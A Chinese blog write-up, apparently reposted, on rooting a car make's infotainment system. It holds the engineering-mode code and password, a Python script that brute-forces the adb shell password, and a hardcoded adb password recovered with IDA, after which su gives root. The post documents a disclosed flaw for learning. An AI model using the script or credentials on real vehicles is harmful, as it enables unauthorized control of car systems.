Hacked某安汽车车机系统

news2024/12/23 6:04:49

        很久之前尝试对某安汽车的车机系统进行渗透测试,但是却卡在入口无法进入,尝试暴力破解但是字典不够强大,没能成功。前段时间看到了绿盟科技博客的《新型车机,如何攻防?》感觉有点熟悉,再次探索发现可以获得车机系统root权限,遂事后诸葛亮一波,就当是学习笔记了。

        通过在论坛、QQ群、贴吧收集到这款车型进入工程模式的方法,在拨号键盘输入*#*#888,然后点击拨号,如图:

        进入密码认证界面,输入收集到的密码:369875,如图:

        此时进入工程模式,可以看到工程模式的功能,如图:

        点击“USB切换”可以将中控台下边的USB口切换为adb模式,从而通过数据线连接车机系统adb shell。可能我们需要启动USB调试,首先点击“打开系统设置原始界面 ——> Settings”,如图:

        此时进入系统设置界面,可以看到下边有“关于智能平台”,如图:

         点击“关于智能平台”后可以看到Android 版本、硬件型号版本号等等信息,如图:

        连续点击7次版本号后开启开发者模式,然后开启USB调试,如图:

         在连接adb shell时提示需要输入密码,如图:

        当时卡在这里很久,编写Python脚本使用字典爆破了很久也没成功,Python3脚本如下:


import pexpect
import random
import sys
# Open the password dictionary file

if len(sys.argv) < 2:
    print("Usage: python3",sys.argv[0],"password.txt")
    exit(0)
else:
    print("ADB Shell Brute         --By Infiltrator")
    with open(sys.argv[1]) as f:
        passwords = f.readlines()
    adb = pexpect.spawnu("adb shell",timeout=1)
    #adb.logfile_read = sys.stdout
    # Try each password in the dictionary file
    for password in passwords:
        password = password.strip()  # Remove leading/trailing whitespace
        # Wait for the password prompt
        try:
            s = adb.expect("password:")
        except:
            print("[!] Please check adb if connected!")
            exit(1)
        # Enter the password
        print("\r[*] Testing password:",password,end='')
        adb.sendline(password)
        # Wait for the output and check if we successfully logged in
        s = adb.expect(["verify success!", "verify failed!"])
        if s == 0:
            # Login succeeded, we're done
            print("\n[+] Success! Password is:", password)
            break
        else:
            # Login failed, try the next password
            continue

         直到看到新型车机,如何攻防?,文中逆向分析获得的密码立即让我觉得很是熟悉,如图:

        我直接使用该密码就可以成功登录adb shell,同时把密码加入字典后也可以破解出来,说明脚本没问题:

         并且直接执行su命令就获得root权限,如图:

        虽然限制策略不严格但是,adb push和adb install都无法安装app,暂时就先不管这些了,先复现一下硬编码漏洞吧。

        普通权限的adb pull命令基本获取不到什么有用的信息,执行adb root切换为root权限的adb,然后在使用adb pull将车机系统的文件系统下载到本地,如图:

        由于下载的文件太多,等了几分钟也没下载完,然后就直接下载system目录了,如图: 

        在system/bin目录下发现adbd程序,如图:

        使用IDA逆向分析,通过搜索password字符串定位程序输入,然而根本找不到password这个字符串,查看所有字符串可以发现程序调用了/system/bin/verify_sh,如图:

        使用IDA分析verify_sh,同样直接搜索password字符串定位输入,然后跳转到代码上下文发现内存中Base64编码的内容:

        解码之后为8769b3ad,应该是小端序的原因,将原本的adb36987在内存中存储为8769b3ad,如图:

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/443240.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

京东商品评论数据爬虫,包含对数据的采集、清洗、可视化、分析等过程,作为数据库课程。

感谢大家的star和fork&#xff0c;为了感谢大家的关注&#xff0c;特意对代码进行了优化&#xff0c;对最新的url格式进行了更新&#xff0c;减少了一些冗余的参数&#xff0c;希望能够帮助大家入门爬虫&#xff0c;已经爬好的京东的商品评论数据已经存储在data目录下&#xff…

软件测试标准GB/T 25000.51-2016中的八大软件质量特性

GB/T25000标准由下图所示的21个部分组成&#xff0c;其中GB/T 25000.10和GB/T 25000.51是建立软件测试技术体系可以参考的部分&#xff0c;GB/T 25000.51尤为重要。 GB/T 25000标准总标题&#xff08;21个部分&#xff09; GB/T 25000.51标准pdf封面 GB/T 25000.51-2016 《系统…

现在有t1,t2,t3三个线程,实现t1,t2线程同步执行,然后再执行t3线程,使用Java实现该程序

目录 1、利用CountDownLatch 2、利用Future 最近在面试的时候&#xff0c;经常遇到这个题目&#xff0c;首先从题目上看&#xff0c;就知道考察的是多线程方面知识&#xff0c;我第一次看到这个题目的时候&#xff0c;就想到了使用CountDownLatch这个计数器来实现&#xff0c…

AUTOSAR网络管理

功能说明 目前车辆上ECU的数目越来越多&#xff0c;不同功能的ECU对电源有不同的要求&#xff0c;在点火钥匙打到OFF档&#xff08;KL15停止供电&#xff09;之后&#xff0c;有的ECU&#xff08;如座椅模块&#xff09;允许直接断电&#xff0c;有的ECU&#xff08;如空调模块…

浅谈操作系统OS与计算机软硬件体系结构,自顶贯穿性与行为回归硬件性

操作系统OS与计算机软硬件体系结构 使计算机更好用! 这是操作系统的根本要义!! 操作系统这个概念基本上以后会讲一路的&#xff0c;今天的话就基本上讲一下轻量化的概念。所以操作系统到底是什么&#xff1f;操作系统首先是软件&#xff0c;那它是一款什么软件呢&#xff1f…

Java读取文件方式

IO流读取 文本内容 按行读取文件内容 指定编码格式&#xff08;推荐&#xff09; public static void main(String[] args) throws UnsupportedEncodingException {read("D:\\test.txt");}public static void read(String path) {BufferedReader reader null;try …

Spring Security 01 整体架构

目录 认证 AuthenticationManager ProviderManager AuthenticationProvider Authentication SecurityContextHolder 授权 AccessDecisionManager AccessDecisionVoter RoleVoter AuthenticatedVoter Custom Voters ConfigAttribute 在SpringSecurity的架构中&…

Linux如何使用宝塔面板搭建网站和内网穿透实现公网访问

文章目录 前言1. 环境安装2. 安装cpolar内网穿透3. 内网穿透4. 固定http地址5. 配置二级子域名6. 创建一个测试页面 转载自远程内网穿透的文章&#xff1a;Linux使用宝塔面板搭建网站&#xff0c;并内网穿透实现公网访问 前言 宝塔面板作为简单好用的服务器运维管理面板&#…

Flink从入门到精通之-06Flink 中的时间和窗口

Flink从入门到精通之-06Flink 中的时间和窗口 我们已经了解了基本 API 的用法&#xff0c;熟悉了 DataStream 进行简单转换、聚合的一些操作。除此之外&#xff0c;Flink 还提供了丰富的转换算子&#xff0c;可以用于更加复杂的处理场景。 在流数据处理应用中&#xff0c;一个…

NM储存卡数据丢失怎么办?四招数据恢复宝典

NM卡像其他类型的存储设备一样&#xff0c;也有可能因为各种原因导致数据丢失&#xff0c;比如误删除、格式化、病毒感染等。因此&#xff0c;在使用NM卡时&#xff0c;仍需注意数据备份和安全性&#xff0c;以避免面临重要数据丢失风险。如果不幸发生了数据丢失&#xff0c;应…

python中unexpected indent报错的解决办法

python中unexpected indent报错的解决办法 在我们初步学习pyton的时候&#xff0c;由于对python语言的学习掌握不充分&#xff0c;则会导致所编写的代码&#xff0c;运行时候报错。比如&#xff0c;容易报错的unexpected indent问题&#xff0c;下面举例说明问题。 1.举例&am…

Linux虚拟机中安装jdk的两种方法:

方法一&#xff1a;手动安装 1. 使用FinalShell自带的上传工具将jdk的二进制发布包上传到Linux 上传位置如图&#xff08;底栏可以在图中的向下箭头位置自行打开与关闭&#xff09;&#xff1a; 注&#xff1a;默认上传地址为图片左侧的工作地址 2. 解压安装包&#xff0c;…

在vue2中用vue-echarts和v-charts绘制百度地图定制散点图

一、在vue-echarts中定制百度地图 效果 准备 安装依赖 echarts vue-echarts npm i echarts vue-echarts 在main.js中引入 import ECharts from “echarts” import VueECharts from “vue-echarts” Vue.prototype.$echarts ECharts Vue.component(“v-chart”, VueECharts…

SAS学习第4章:t检验

前话&#xff1a;分析试验数据的差异&#xff0c;一般都会假设样本值之间或者样本与标准值之间无差异&#xff0c;根据不同方法计算得出的t值、q值、F值等等&#xff0c;均表示两者之间的差异程度&#xff0c;值越大&#xff0c;两者差异越大&#xff0c;该假设越不成立&#x…

全网最全的AI绘画提示词网站,看这一篇就够了!

要说2023年什么最火&#xff0c;绝对是以ChatGPT为代表的AI工具了&#xff0c;特别是AI绘画&#xff0c;而用好AI的关键&#xff0c;就是要学会使用关键词&#xff0c;也叫提示词&#xff0c;提示词是AI绘画的核心&#xff0c;本次就给大家分享几个AI绘画关键词网站&#xff0c…

大型Android项目架构:基于组件化+模块化+Kotlin+协程+Flow+Retrofit+Jetpack+MVVM架构实现WanAndroid客户端

前言&#xff1a;苟有恒&#xff0c;何必三更眠五更起&#xff1b;最无益&#xff0c;莫过一日曝十日寒。 前言 之前一直想写个 WanAndroid 项目来巩固自己对 KotlinJetpack协程 等知识的学习&#xff0c;但是一直没有时间。这里重新行动起来&#xff0c;从项目搭建到完成前前…

奇异值分解SVD

概念 奇异值分解&#xff08;singular value decomposition&#xff09;是线性代数中一种重要的矩阵分解。奇异值分解在某些方面与对称矩阵或厄密矩阵基于特征向量的对角化类似。然而这两种矩阵分解尽管有其相关性&#xff0c;但还是有明显的不同。对称矩阵特征向量分解的基础…

数据分析师 ---- SQL强化(1)

文章目录 数据分析师 ---- SQL强化(1)写在前面题目第一步&#xff1a;表连接以及表拼接第二步&#xff1a;新建列以及填充值总结 数据分析师 ---- SQL强化(1) 写在前面 最近在找工作中发现&#xff0c;数据分析师的笔试多数会涉及SQL&#xff0c;但是笔试中SQL的难度和我们在学…

车载软件架构——闲聊几句AUTOSAR BSW(一)

我是穿拖鞋的汉子,魔都中坚持长期主义的工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 人生是用来体验的,不是用来演绎完美的。我慢慢能接受自己身上那些灰暗的部分,原谅自己的迟钝和平庸,允许自己出错,允许自己偶尔断电,带着缺憾拼命绽放,…

Node【初识Node】

文章目录 &#x1f31f;前言&#x1f31f;Node.js&#x1f31f;特性&#xff1a;&#x1f31f;1. 单线程&#x1f31f;2.异步IO&#x1f31f;前端中的异步&#x1f31f;Node中的异步 &#x1f31f;3.跨平台&#x1f31f;4.运行速度快 &#x1f31f; 劣势&#xff1a;&#x1f3…